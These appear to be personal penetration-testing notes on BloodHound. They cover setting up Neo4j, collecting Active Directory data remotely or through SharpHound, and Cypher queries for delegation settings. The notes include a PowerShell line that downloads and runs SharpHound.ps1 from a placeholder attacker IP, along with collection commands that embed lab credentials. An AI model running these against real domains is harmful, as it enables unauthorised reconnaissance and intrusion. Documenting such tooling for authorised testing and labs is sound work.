BloodHound

1. Installation and Starting Up Neo4j and BloodHound

To install BloodHound and Neo4j follow instructions here --> https://bloodhound.readthedocs.io/en/latest/installation/linux.html

Then to use it:

neo4j console

navigate to http://localhost:7474

conect with neo4j as user and password and change password

Once changed the password and with neo4j running:

bloodhound

2. Data Collection

• Remotely:

https://github.com/fox-it/BloodHound.py

First add IP and domain name to the /etc/hosts and nameserver {Domain Controller IP} to the /etc/resolve.conf

bloodhound-python -u {user} -p {password} -dc {HOST} --disable-autogc -d {Domain}

bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all

bloodhound-python -u support -p '#00^BlackKnight' -d blackfield.local -ns 10.10.10.192 -c DcOnly

• With a Shell:

AzureHound for Azure Active Directory

SharpHound.exe or SharpHound.ps1 for Local Active Directory

https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors

https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1

IEX(New-Object Net.WebClient).downloadString('http://{My_IP}:{PORT}/SharpHound.ps1')

Invoke-BloodHound -CollectorMethod All

Invoke-BloodHound -CollectionMethod All,GPOLocalGroup

Invoke-BloodHound -CollectionMethod LoggedOn

.\SharpHound.exe -c all,GPOLocalGroup (all collection doesn't include GPOLocalGroup by default)

3. Custom Queries

Bloodhound-Custom-Queries from @hausec https://github.com/hausec/Bloodhound-Custom-Queries/blob/master/customqueries.json

Certipy BloodHound Custom Queries from ly4k https://github.com/ly4k/Certipy/blob/main/customqueries.json

Cheatsheet with queries: https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/

Replace the customqueries.json file located

at /home/username/.config/bloodhound/customqueries.json or C:\Users\USERNAME\

AppData\Roaming\BloodHound\customqueries.json.

To identify all computers that are permitted for unconstrained delegation:

MATCH (c:Computer {unconstraineddelegation:true}) RETURN c

To identify all computers and users configured for constrained delegation:

MATCH p = (a)-[:AllowedToDelegate]->(c:Computer) RETURN p